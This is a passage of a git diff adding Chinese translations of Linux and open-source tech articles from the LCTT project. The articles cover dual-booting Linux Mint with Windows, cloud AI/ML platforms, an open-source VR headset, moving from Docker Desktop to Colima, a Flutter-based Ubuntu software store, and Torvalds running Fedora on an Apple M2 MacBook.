10)同时安装并制作双引导系统的完整指南。 + +如果你是新 Linux 用户,想在不删除 OEM 安装的 Windows 的情况下安装 Linux Mint,请遵循本指南。完成下面描述的步骤后,你应该拥有一个双引导系统,你可以在其中学习和在 Linux 系统中完成工作,而无需引导 Windows。 + +### 1、开始之前你需要什么? + +启动到你的 Windows 系统并从官方网站下载 Linux Mint ISO 文件。 ISO 文件是 Linux Mint 的安装镜像,我们将在本指南中使用它。 + +在官网(图1),下载 Cinnamon 桌面版的 ISO(适合所有人)。 + +> **[下载链接][1]** + +![图 1:从官网下载 Linux Mint][2] + +下载后,将 U 盘插入你的系统。然后使用 Rufus 或 [Etcher][3] 将上面下载的 .ISO 文件写入该 USB 驱动器。 + +### 2、准备一个分区来安装 Linux Mint + +正常情况下,Windows 笔记本电脑通常配备 C 盘和 D 盘。C 盘是安装 Windows 的地方。对于新的笔记本电脑,D 驱动器通常是空的(任何后续驱动器,如 E 等)。现在,你有两个选项可供选择:一是 **缩小 C 盘** 为额外的 Linux 安装腾出空间。第二个是**使用其他驱动器/分区**,例如 D 盘或 E盘。 + +选择你希望的方法。 + +如果你选择使用 D 盘或 E 盘用于 Linux 系统,请确保先禁用 BitLocker,然后再禁用现代 OEM 安装的 Windows 笔记本电脑附带的所有其他功能。 + +* 从开始菜单打开 Windows PowerShell 并键入以下命令(图 2)以禁用 BitLocker。根据你的目标驱动程序更改驱动器号(这里,我使用了驱动器 E)。 + +``` +manage-bde -off E +``` + +![图 2:禁用 Windows 驱动器中的 BitLocker 以安装 Linux][4] + +如果你选择缩小 C 盘(或任何其他驱动器),请从开始菜单打开“磁盘管理Disk Management”,它将显示你的整个磁盘布局。 + +* 右键单击​​并在要缩小的驱动器上选择“缩小卷Shrink Volume”(图 3),以便为 Linux Mint 腾出位置。 + +![图 3:磁盘分区中的压缩卷选项示例][5] + +* 在下一个窗口中,在“输入要缩小的空间量(以 MB 为单位)Enter the amount of space to shrink in MB”下以 MB 为单位提供你的分区大小(图 4)。显然,它应该小于或等于“可用空间大小Size of available space”中提到的值。因此,对于 100 GB 的分区,给出 100*1024=102400 MB。 +* 完成后,单击“缩小Shrink”。 + +![图 4:输入 Linux 分区的大小][6] + +现在,你应该会看到一个“未分配空间Unallocated Space”,如下所示(图 5)。右键单击它并选择“新建简单卷New Simple Volume”。 + +![图 5:创建未分配空间][7] + +* 此向导将使用文件系统准备和格式化分区。注意:你可以在 Windows 本身中或在 Linux Mint 安装期间执行此操作。Linux Mint 安装程序也为你提供了创建文件系统表和准备分区的选项,我建议你在这里做。 +* 在接下来的一系列屏幕中(图 6、7 和 8),以 MB 为单位给出分区大小,分配驱动器号(例如 D、E、F)和文件系统为 fat32。 + +![图 6:新建简单卷向导-page1][8] + +![图 7:新建简单卷向导-page2][9] + +![图 8:新建简单卷向导-page3][10] + +* 最后,你应该会看到你的分区已准备好安装 Linux Mint。你应该在 Mint 安装期间按照以下步骤选择此选项。 + +![图 9:安装 Linux 的最终分区][11] + +* 作为预防措施,**记下分区大小**(你刚刚在图 9 中作为示例创建的分区)以便在安装程序中快速识别它。 + +### 3、在 BIOS 中禁用安全启动 + +插入 USB 驱动器并重新启动系统。 + +* 开机时,反复按相应的功能键进入 BIOS。你的笔记本电脑型号的按键可能不同。下面是主要笔记本电脑品牌的参考。 + +| 笔记本厂商 | 进入 BIOS 的功能键 | +| :- | :- | +| 宏碁 | `F2` 或 `DEL` | +| 华硕 | PC 使用 `F2`,主板是 `F2` 或 `DEL` | +| 戴尔 | `F2` 或 `F12` | +| 惠普 | `ESC` 或 `F10` | +| Lenovo | `F2` 或 `Fn + F2` | +| Lenovo(台式机) | F1` | +| Lenovo(ThinkPad) | `Enter + F1` | +| 微星 | `DEL` | +| 微软 Surface 平板 | 按住音量增加键 | +| ORIGIN PC | `F2` | +| 三星 | `F2` | +| 索尼 | `F1`、`F2` 或 `F3` | +| 东芝 | `F2` | + +* 你应该禁用 BIOS 安全设置并确保将启动设备优先级设置为 U 盘。 +* 然后按 `F10` 保存并退出。 + +### 4、安装 Linux Mint + +如果一切顺利,你应该会看到一个安装 Linux Mint 的菜单。选择 “Start Linux Mint……” 选项。 + +![图 10:Linux Mint GRUB 菜单启动安装][12] + +片刻之后,你应该会看到 Linux Mint Live 桌面。在桌面上,你应该会看到一个安装 Linux Mint 的图标以启动安装。 + +在下一组屏幕中,选择你的语言、键盘布局、选择安装多媒体编解码器并点击继续按钮。 + +在安装类型窗口中,选择 “其他Something Else” 选项。 + +在下一个窗口(图 11)中,仔细选择以下内容: + +![图11:选择 Windows 11 安装 Linux Mint 的目标分区][13] + +* 在“设备Device”下,选择刚刚创建的分区;你可以通过我之前提到的要记下的分区大小来识别它。 +* 然后点击“更改Change”,在编辑分区窗口中,选择 Ext4 作为文件系统,选择格式化分区选项和挂载点为 `/`。 +* 单击“确定OK”,然后为你的系统选择“引导加载程序 boot loader”;理想情况下,它应该是下拉列表中的第一个条目。 +* 仔细检查更改。因为一旦你点击立即安装,你的磁盘将被格式化,并且无法恢复。当你认为一切准备就绪,请单击“立即安装Install Now”。 + +在以下屏幕中,选择你的位置,输入你的姓名并创建用于登录系统的用户 ID 和密码。安装应该开始(图 12)。 + +![图 12:安装中][14] + +安装完成后(图 13),取出 U 盘并重新启动系统。 + +![图 13:安装完成][15] + +如果一切顺利,在成功安装为双引导系统后,你应该会看到带有 Windows 11 和 Linux Mint 的 GRUB。 + +现在你可以使用 [Linux Mint][16] 并体验快速而出色的 Linux 发行版。 + +### 总结 + +在本教程中,我向你展示了如何在装有 OEM 的 Windows 的笔记本电脑或台式机中使用 Linux Mint 创建一个简单的双启动系统。这些步骤包括分区、创建可引导 USB、格式化和安装。 + +尽管上述说明适用于 Linux Mint 21 Vanessa;但是,它现在应该可以用于所有其他出色的 [Linux 发行版][17]。 + +如果你遵循本指南,请在下面的评论框中告诉我你的安装情况。 + +如果你成功了,欢迎来到自由世界! + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/linux-mint-install-windows/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[gpchn](https://github.com/gpchn) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.linuxmint.com/download.php +[2]: https://www.debugpoint.com/wp-content/uploads/2022/09/Download-Linux-Mint-from-the-official-website.jpg +[3]: https://www.debugpoint.com/etcher-bootable-usb-linux/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/09/Disable-BitLocker-in-Windows-Drives-to-install-Linux.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/09/Example-of-Shrink-Volume-option-in-Disk-Partition-1024x453.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/09/Enter-the-size-of-your-Linux-Partition.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/09/Unallocated-space-is-created.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/09/New-Simple-Volume-Wizard-page1.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/09/New-Simple-Volume-Wizard-page2.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/09/New-Simple-Volume-Wizard-page3.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/09/Final-partition-for-installing-Linux.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/09/Linux-Mint-GRUB-Menu-to-kick-off-installation.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/09/Choose-the-target-partition-to-install-Linux-Mint-with-Windows-11.jpg +[14]: https://www.debugpoint.com/wp-content/uploads/2022/09/Installation-is-in-progress.jpg +[15]: https://www.debugpoint.com/wp-content/uploads/2022/09/Installation-is-complete.jpg +[16]: https://www.debugpoint.com/linux-mint +[17]: https://www.debugpoint.com/category/distributions +[18]: https://www.debugpoint.com/install-java-17-ubuntu-mint/ diff --git a/published/202209/20220914 Platforms that Help Deploy AI and ML Applications on the Cloud.md b/published/202209/20220914 Platforms that Help Deploy AI and ML Applications on the Cloud.md new file mode 100644 index 0000000000..6109b8473f --- /dev/null +++ b/published/202209/20220914 Platforms that Help Deploy AI and ML Applications on the Cloud.md @@ -0,0 +1,145 @@ +[#]: subject: "Platforms that Help Deploy AI and ML Applications on the Cloud" +[#]: via: "https://www.opensourceforu.com/2022/09/platforms-that-help-deploy-ai-and-ml-applications-on-the-cloud/" +[#]: author: "Dr Kumar Gaurav https://www.opensourceforu.com/author/dr-gaurav-kumar/" +[#]: collector: "lkxed" +[#]: translator: "misitebao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15050-1.html" + +帮助在云端部署 AI 和 ML 应用程序的平台 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/08/AI-ML-infographics.jpg) + +> 人工智能(AI)和机器学习(ML)正在影响当今几乎每个行业。本文重点介绍了这些技术在我们日常生活中的各种使用方式,以及一些开源云平台如何实现其部署。 + +人工智能artificial intelligence(AI)的目标是构建能够模仿人类认知的机器和自动化系统。在全球范围内, AI 正在以各种方式改变着社会、政治和经济。 AI 应用的例子包括谷歌帮助Google Help、Siri、Alexa 和特斯拉等自动驾驶汽车。 + +如今, AI 正被广泛使用,以有效的方式解决各行各业的难题。它被用于医疗保健行业,以做出比人类更准确、更快速的诊断。医生可以使用 AI 来诊断疾病,并在患者病情恶化时得到提醒。 + +数据安全对每个企业都至关重要,网络攻击的数量也在不断增加。使用 AI ,可以提高数据的安全性。这方面的一个例子是集成智能机器人来识别软件错误和网络攻击。 + +Twitter、WhatsApp、Facebook 和 Snapchat 只是使用 AI 算法存储和管理数十亿个人资料的社交媒体平台中的一小部分。 AI 可以整理和筛选大量数据,以找到最新趋势、标签和各种各样人的需求。 + +![Figure 1: Key applications of machine learning][1] + +旅游业越来越依赖 AI ,因为后者可以帮助完成各种与旅行相关的任务,包括为消费者预订酒店、航班和最佳路线。为了提供更好、更快的客户服务,由 AI 驱动的聊天机器人正被用于旅游业。 + +| 工具/平台 | 链接 | +| :------------ | :------------------------------------- | +| Streamlit | https://github.com/streamlit/streamlit | +| TensorFlow | https://www.tensorflow.org/ | +| PyTorch | https://pytorch.org/ | +| scikit-learn | https://scikit-learn.org/ | +| Apache Spark | https://spark.apache.org/ | +| Torch | http://torch.ch/ | +| Hugging Face | https://huggingface.co/ | +| Keras | https://keras.io/ | +| TensorFlowJS | https://www.tensorflow.org/js | +| KNIME | https://www.knime.com/ | +| Apache Mahout | https://mahout.apache.org/ | +| Accord | http://accord-framework.net/ | +| Shogun | http://shogun-toolbox.org/ | +| RapidMiner | https://rapidminer.com/ | +| Blocks | https://github.com/mila-iqia/blocks | +| TuriCreate | https://github.com/apple/turicreate | +| Dopamine | https://github.com/google/dopamine | +| FlairNLP | https://github.com/flairNLP/flair | + +*表 1: ML 的工具和框架* + +### 不同领域的机器学习 + +让软件应用程序和小工具自行响应和发展的所有技术和工具都称为机器学习machine learning(ML)。多亏了 ML 技术, AI 可以在没有真正被明确编程来执行所需操作的情况下进行学习。ML 算法不依赖于预定义的计算机指令,而是从样本输入中学习一个模式,然后完全基于学习到的模式来预测和执行任务。如果没有严格的算法可供选择, ML 可以成为救命稻草。它将通过分析以前的处理方式来选择新处理方式,然后将其付诸实施。ML 为各种行业的技术进步和以前无法想象的技术扫清了道路。如今,它被用于各种尖端技术 — 从预测算法到互联网电视直播。 + +一个值得注意的 ML 和 AI 技术是图像识别,它是一种对数字图像中的特征或项进行分类和检测的方法。分类和人脸识别是使用这种方法完成的。 + +![Figure 2: Streamlit cloud for machine learning][2] + +将 ML 用于推荐系统是其最广泛使用和知名的应用之一。在当今的电子商务世界中,产品推荐是一种利用强大的 ML 技术的代表性工具。网站使用 AI 和 ML 来跟踪过去的购买、搜索趋势和购物车历史,然后根据这些数据生成产品推荐。 + +在医疗保健行业中使用 ML 算法引起了很多兴趣。通过使用 ML 算法,可以跨多个医院部门预测急诊室等待时间。员工轮班的详细信息、患者数据以及科室讨论和急诊室布局的记录都用于帮助创建算法。 ML 算法可用于检测疾病、计划治疗和预测。 + +**用于 ML 的云平台的主要特点**: + +- 算法或特征提取 +- 关联规则挖掘 +- 基于大数据的预测分析 +- 分类、回归和聚类 +- 数据加载和转换 +- 数据准备、数据预处理和可视化 +- 降维 +- 分布式线性代数 +- 假设检验和核方法 +- 处理图像、音频、信号和视觉数据集 +- 模型选择和优化模块 +- 预处理和数据流编程 +- 推荐系统 +- 通过插件支持文本挖掘和图像挖掘 +- 可视化和绘图 + +### 基于云的 AI 和 ML 应用程序部署 + +AI 和 ML 的应用可以部署在云平台上。如今,许多云服务提供商使程序员能够构建模型以在其领域内进行有效的决策。 + +这些基于云的平台与预先训练的 ML 和深度学习deep learning(DL)模型集成在一起,无需任何编码或用少量的脚本即可在这些模型上部署应用程序。 + +![Figure 3: Categories of ML deployments in Streamlit][3] + +#### Streamlit + +Streamlit 让数据科学家和 ML 专家能够访问各种 ML 模型。它是开源的并且与云部署兼容。ML 模型可以在几分钟内准备好与数据集一起使用 + +Streamlit 提供一系列 ML 模型和多个类别的源代码,包括自然语言处理、地理、教育、计算机视觉等。 + +![Figure 4: Hugging Face for machine learning][4] + +#### Hugging Face + +这是另一个平台,为各种类别的 ML 和 AI 提供预先训练的模型和架构。许多企业巨头都在使用这个平台,包括 Facebook AI、微软、谷歌 AI、亚马逊网络服务和 Grammarly。 + +Hugging Face 中提供了许多预训练和部署就绪的模型,用于不同的应用程序,包括自然语言处理和计算机视觉。 + +使用 Hugging Face 中的 ML 模型可以执行以下任务: + +- 音频到音频处理 +- 自动语音识别 +- 计算机视觉 +- 填充蒙版 +- 图像分类 +- 图像分割 +- 物体检测 +- 问题应答 +- 句子相似度 +- 总结 +- 文本分类 +- 文本生成 +- 文本到语音翻译 +- 令牌分类 +- 翻译分类 + +Hugging Face 中可用的问题解决器经过优化且有效,有助于快速部署模型(图 5)。 + +![Figure 5: Problem solvers and models in Hugging Face][5] + +这些基于云的平台对多个领域的研究人员、从业者和数据科学家非常有用,并简化了性能良好的实际应用程序的开发。 + +--- + +via: https://www.opensourceforu.com/2022/09/platforms-that-help-deploy-ai-and-ml-applications-on-the-cloud/ + +作者:[Dr Kumar Gaurav][a] +选题:[lkxed][b] +译者:[Misite Bao](https://github.com/misitebao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/dr-gaurav-kumar/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-1-Key-applications-of-machine-learning.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-2-Streamlit-cloud-for-machine-learning.png +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-3-Categories-of-ML-deployments-in-Streamlit.png +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-4-Hugging-Face-for-machine-learning.png +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-5-Problem-solvers-and-models-in-Hugging-Face.png diff --git a/published/202209/20220915 A Project For An Open Source 3D-Printed VR Headgear From Europe.md b/published/202209/20220915 A Project For An Open Source 3D-Printed VR Headgear From Europe.md new file mode 100644 index 0000000000..756f16333c --- /dev/null +++ b/published/202209/20220915 A Project For An Open Source 3D-Printed VR Headgear From Europe.md @@ -0,0 +1,42 @@ +[#]: subject: "A Project For An Open Source 3D-Printed VR Headgear From Europe" +[#]: via: "https://www.opensourceforu.com/2022/09/a-project-for-an-open-source-3d-printed-vr-headgear-from-europe/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "zjsoftceo" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15044-1.html" + +来自欧洲的一个开源 3D 打印 VR 头盔项目 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/virtual-reality-4-1536x864.jpg) + +> 三家欧洲企业创建了一个 6 GHz WiFi 6E 无线开源虚拟现实头盔。 + +捷克 3D 打印专家 Prusa Research 公司正在与模拟器开发商 Vrgineers 和英国的 Somnium Space 合作开发 Somnium VR ONE 头盔。这款产品可以连接或者独立使用,旨在尽可能地开放,来改变虚拟现实市场中受限的供应。 + +由于 Android 11 操作系统是一个开源的操作系统,其源代码是公开的,因此它将在不受限制的商业许可下出售。其中央处理单元是高通骁龙 XR2 CPU,支持 microSD 存储卡,并拥有 8GB 的LPDDR5 内存和 512GB UFS 闪存。 + +它采用新的 6 GHz 的 WiFi 6E 高带宽无线协议,而不是目前拥挤的 5GHz 和 2.4GHz WiFi频率,以实现更高的带宽和低延迟连接。它包括两个 3.2 英寸 2880RGB * 2880 快速液晶屏幕,具有 120 度水平视野和 100 度垂直视野。 + +它具有两个用于外部小工具的 USB-C 10 Gbit/s 链路,和一个 USB-C USB2.0 电池组(USB3.2 Gen2)。Somnium Space 与布拉格的 VRgineers 合作,在线销售电子产品和独有的镜头,使用户能够 3D 打印自己的头盔,此外,也会提供完整的头盔。 + +该企业于 2012 年在布拉格成立,已经拥有 700 多名员工。开源的 Prusa i3 design 是世界上使用最广泛的 3D 打印机,每月从布拉格直接向 160 多个国家运送超过 10000 台 Original Prusa 打印机。 + +合成训练环境Synthetic Training Environments(STE)是由捷克共和国的模拟器开发商 VRgineers 向企业和政府客户提供的。它创造了被称为 XTAL 的专业 8K 头盔,该头盔被 NASA、空客防务与航天公司和 BAE Systems 公司使用,目前在布拉格、布尔诺和拉斯维加斯拥有一支由 50 名专家组成的国际团队。 + +总部位于伦敦的 Somnium Space 是一个建立在区块链上的开放、社交和永久虚拟现实平台。由于其独特的 NFT 的去中心化经济,用户可以拥有、交易和交换数字商品而无需获得授权。它已经与高通公司和 Ultraleap 公司在 Lynx R-1 上进行了合作,这是一个独立的增强现实(AR)头盔设计。 + +-------------------------------------------------------------------------------- +via: https://www.opensourceforu.com/2022/09/a-project-for-an-open-source-3d-printed-vr-headgear-from-europe/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[zjoftceo](https://github.com/zjsoftceo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220915 How I switched from Docker Desktop to Colima.md b/published/202209/20220915 How I switched from Docker Desktop to Colima.md new file mode 100644 index 0000000000..ff2ba6e558 --- /dev/null +++ b/published/202209/20220915 How I switched from Docker Desktop to Colima.md @@ -0,0 +1,86 @@ +[#]: subject: "How I switched from Docker Desktop to Colima" +[#]: via: "https://opensource.com/article/22/9/docker-desktop-colima" +[#]: author: "Michael Anello https://opensource.com/users/ultimike" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15084-1.html" + +我如何从 Docker Desktop 切换到 Colima +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/29/095328wj3ypm34pyyy3rrp.jpg) + +> Colima 是 macOS 和 Linux 上的 Docker Desktop 替代品,它现在由 DDEV 支持。 + +[DDEV][2] 是一个开源工具,可以在几分钟内轻松启动和运行本地 PHP 开发环境。由于其每个项目的环境配置可以扩展、版本控制和共享,所以它很强大和灵活。简而言之,DDEV 旨在允许开发团队在其工作流程中使用容器,而无需复杂的定制配置。 + +DDEV 用灵活、现代、基于容器的解决方案取代了更传统的 AMP 栈解决方案(WAMP、MAMP、XAMPP 等)。因为它使用容器,DDEV 允许每个项目使用任何一组应用、Web 服务器版本、数据库服务器、搜索索引服务器和其他类型的软件。 + +2022 年 3 月,DDEV 团队 [宣布支持 Colima][3],这是 macOS 和 Linux 上的开源 Docker Desktop 替代品。[Colima][5] 是开源的,据所有报告显示,它比其替代方案有所 [性能提升][6],所以使用 Colima 似乎是一个没有问题的选择。 + +### 迁移到 Colima + +首先,Colima *几乎*是 Docker Desktop 的替代品。我说*几乎*是因为在将它用于现有的 DDEV 项目时需要重新配置。具体来说,必须重新导入数据库。解决方法是先导出数据库,然后启动 Colima,然后再导入。很简单。 + +Colima 要求安装 Docker 或 [Podman][7] 命令。在 Linux 上,它还需要 Lima。 + +Docker 默认随 Docker Desktop for macOS 一起安装,但它也可以作为独立命令使用。如果你想要 100% 纯 Colima,你可以卸载 Docker Desktop for macOS,并独立安装和配置 Docker 客户端。[完整的安装说明可以在 DDEV 文档站点上找到][8]。 + +![容器技术栈图片][9] + +*容器技术栈图片 图片来源:(Mike Anello,CC BY-SA 4.0)* + +如果你选择继续使用 Colima 和 Docker Desktop,那么在命令行执行 `docker` 命令时,你必须首先指定要使用的容器。下一节将对此进行更多介绍。 + +### 在 macOS 上安装 Colima + +我目前有一些本地项目使用 Docker,还有一些使用 Colima。当我了解了基础知识,在它们之间切换就不难了。 + +1. 使用 Homebrew `brew install colima` 安装 Colima +2. `ddev poweroff`(为了安全起见) +3. 接下来,使用 `colima start --cpu 4 --memory 4` 启动 Colima,`--cpu` 和 `--memory` 选项只需执行一次。第一次之后,只需要 `colima start` +4. 如果你像我一样是 DDEV 用户,那么你可以使用常用的 `ddev` 命令(`ddev config`、`ddev start` 等)启动一个全新的 Drupal 9 站点。建议启用 DDEV 的 mutagen 功能以最大化性能 + +### 在 Colima 和 Docker Desktop 之间切换 + +如果你还没有准备好使用 Colima,你可以同时安装 Colima 和 Docker Desktop。 + +1. 首先关闭 ddev:`ddev poweroff` +2. 然后停止Colima:`colima stop` +3. 现在运行 `docker context use default` 告诉 Docker 客户端你要使用哪个容器。默认名称是 Docker Desktop for Mac。当 `colima start` 运行时,它会自动将 Docker 切换到 `colima` 上下文 +4. 要继续使用默认(Docker Desktop)上下文,请使用 `ddev start` 命令。 + +从技术上讲,启动和停止 Colima 不是必需的,但是在两个上下文之间切换时的 `ddev poweroff` 命令是必要的。 + +Colima 停止时,最新版本的 Colima 会将 Docker 上下文恢复为 `default`,因此不再需要 `docker context use default` 命令。无论如何,我仍然使用 `docker context show` 来验证 `default`(Docker Desktop for Mac)或 `colima` 上下文是否正在使用。基本上,术语 `context` 指的是 Docker 客户端将命令发送到哪个容器提供者。 + +### 尝试 Colima + +总的来说,我喜欢我目前所看到的。我没有遇到任何问题,而且基于 Colima 的网站看起来更快些(尤其是在启用 DDEV 的 Mutagen 功能时)。我肯定会预见自己在未来几周内将项目网站迁移到 Colima。 + +*本文最初发布在 [DrupalEasy 博客][10] 并经许可重新发布。* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/docker-desktop-colima + +作者:[Michael Anello][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ultimike +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_cafe_brew_laptop_desktop.jpg +[2]: https://github.com/drud/ddev +[3]: https://ddev.com/ddev-local/docker-desktop-alternatives-arrive-for-ddev-colima/ +[5]: https://github.com/abiosoft/colima +[6]: https://ddev.com/ddev-local/docker-desktop-and-colima-benchmarking-on-macos/ +[7]: https://opensource.com/article/22/2/start-running-containers +[8]: https://ddev.readthedocs.io/en/stable/users/docker_installation/#macos-installation-colima +[9]: https://opensource.com/sites/default/files/2022-09/docker-desktop-colima.png +[10]: https://www.drupaleasy.com/news diff --git a/published/202209/20220915 This Flutter-based Unofficial Software Center Might Replace Ubuntu-s Official App.md b/published/202209/20220915 This Flutter-based Unofficial Software Center Might Replace Ubuntu-s Official App.md new file mode 100644 index 0000000000..8c547f22c2 --- /dev/null +++ b/published/202209/20220915 This Flutter-based Unofficial Software Center Might Replace Ubuntu-s Official App.md @@ -0,0 +1,95 @@ +[#]: subject: "This Flutter-based Unofficial Software Center Might Replace Ubuntu's Official App" +[#]: via: "https://news.itsfoss.com/unofficial-flutter-ubuntu-software/" +[#]: author: "Sagar Sharma https://news.itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15056-1.html" + +这个基于 Flutter 的非官方软件中心可能会取代 Ubuntu 的官方应用 +====== + +> Canonical 是否计划用这个基于 Flutter 的应用程序取代 Ubuntu 软件中心?也许是,也许不是。 + +![](https://news.itsfoss.com/content/images/size/w2000/2022/09/ubuntu-unofficial-flutter-store.jpg) + +Ubuntu 通常被认为 [是最适合初学者的发行版之一](https://itsfoss.com/best-linux-beginners/),但默认的软件中心(GNOME 软件中心Software Center)需要更多的打磨才能使其成为令人愉悦的体验。 + +为什么?嗯,它很慢而且占用资源很多,所以大多数用户不会费心使用它,或者使用感受很糟糕。 + +是的,多年来它可能有所改善,但仍远非良好的体验。 + +它看起来像是来自 Canonical 的贡献者,而其他人已经联手为 Ubuntu 软件中心开发一个轻量级、基于 Flutter 的替代方案! + +等等,它 **不是官方替代品**。但是,我想知道它是否打算很快取代 Ubuntu 软件中心?🤔 + +### 🆕 使用 Flutter 制作的 “Ubuntu 软件” + +![ubuntu software built with flutter][3] + +这个使用 Flutter 实现的 “Ubuntu 软件Ubuntu Software”旨在实现轻量级、自适应和快速,提供比传统软件更好的用户体验。 + +但首要因素必须是可用性,对吧?因为最后,你只是为了安装软件。而且,你想快速完成,没有任何麻烦。 + +当我在我的系统上尝试它时,我注意到“**我的应用程序**”下有一个单独的 “Snaps” 和 “Deb 包”部分: + +![separate section for deb and snap packages in ubuntu software][4] + +这应该便于处理单个应用程序中的不同包。毕竟,这是我一直想要的! + +轻松安装/管理应用程序的统一体验,是不是要求太多了? 🤷 + +但是应用信息和安装页面呢?好吧,它已经过重新设计,带有微妙的动画以增强体验。 + +![app info section in unofficial ubuntu software][5] + +自适应布局简直就是锦上添花。这有点类似于 elementary OS 7 为我们准备的: + +> **[elementary OS 7 准备添加响应式应用程序,并移植到 GTK 4](https://news.itsfoss.com/elementary-os-7-dev-updates/)** + +所以,它看起来像是对未来的一个深思熟虑的实现,对吧? + +![adaptive layout in unofficial ubuntu software center][8] + +### 它会取代 Ubuntu 软件吗? + +虽然项目贡献者将其标记为 Ubuntu 软件中心的非官方替代品,但我认为它更像是一个尝试作为替代品的实验。 + +考虑到负责 Ubuntu 上 Flutter 的高级工程师 @Canonical [JP Nurmi](https://twitter.com/jpnurmi) 参与其中,这将是一件值得期待的*事情*。 + +我们现在唯一能做的就是“预测”。随着事情的发展,这似乎有更多的机会成为官方的。 + +### 想尝试这个基于 Flutter 的商店吗? + +你可以前往它的 [GitHub 页面](https://github.com/ubuntu-flutter-community/software) 并按照构建说明让它运行。请注意,截至目前,它正在大力开发中。 + +> **[下载 Ubuntu 软件](https://github.com/ubuntu-flutter-community/software)** + +对于正在积极开发的东西来说,它的效果相当好。 + +*💬 我希望当前的软件中心被取代。你怎么看?在下面的评论中让我知道你的想法!* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/unofficial-flutter-ubuntu-software/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/ubuntu-unofficial-flutter-store.jpg +[2]: https://itsfoss.com/best-linux-beginners/ +[3]: https://news.itsfoss.com/content/images/2022/09/unofficial-ubuntu-software-1.png +[4]: https://news.itsfoss.com/content/images/2022/09/snap-and-deb-section-1.png +[5]: https://news.itsfoss.com/content/images/2022/09/kdenline-in-ubuntu-software.png +[6]: https://news.itsfoss.com/elementary-os-7-dev-updates/ +[8]: https://news.itsfoss.com/content/images/2022/09/responsive-design-of-ubuntu-software.png +[9]: https://twitter.com/jpnurmi +[10]: https://github.com/ubuntu-flutter-community/software +[11]: https://github.com/ubuntu-flutter-community/software diff --git a/published/202209/20220915 Wow! Torvalds Modified Fedora Linux to Run on his Apple M2 Macbook.md b/published/202209/20220915 Wow! Torvalds Modified Fedora Linux to Run on his Apple M2 Macbook.md new file mode 100644 index 0000000000..928178ba80 --- /dev/null +++ b/published/202209/20220915 Wow! Torvalds Modified Fedora Linux to Run on his Apple M2 Macbook.md @@ -0,0 +1,93 @@ +[#]: subject: "Wow! Torvalds Modified Fedora Linux to Run on his Apple M2 Macbook" +[#]: via: "https://news.itsfoss.com/fedora-apple-torvalds/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15041-1.html" + +哇!Torvalds 为自己的 Apple M2 Macbook 专门修改了 Fedora Linux +====== + +> Linus Torvalds 让 Fedora Linux Workstation 36 成功运行在 Apple Macbook Air M2 上。666! + +![Wow! Torvalds Modified Fedora Linux to Run on his Apple M2 Macbook][1] + +Linus Torvalds 喜欢写代码和修复代码。当然,这是他的技术专长。 + +如果你知道的话,他就是那个因为买不起 UNIX,转头就创造了 Linux 的家伙。 + +出于类似的原因,他还在 BitKeeper 不再免费使用后构建了 Git。 + +即使在今天,他仍继续着他的动手精神和“没有我解决不了的问题”的态度。 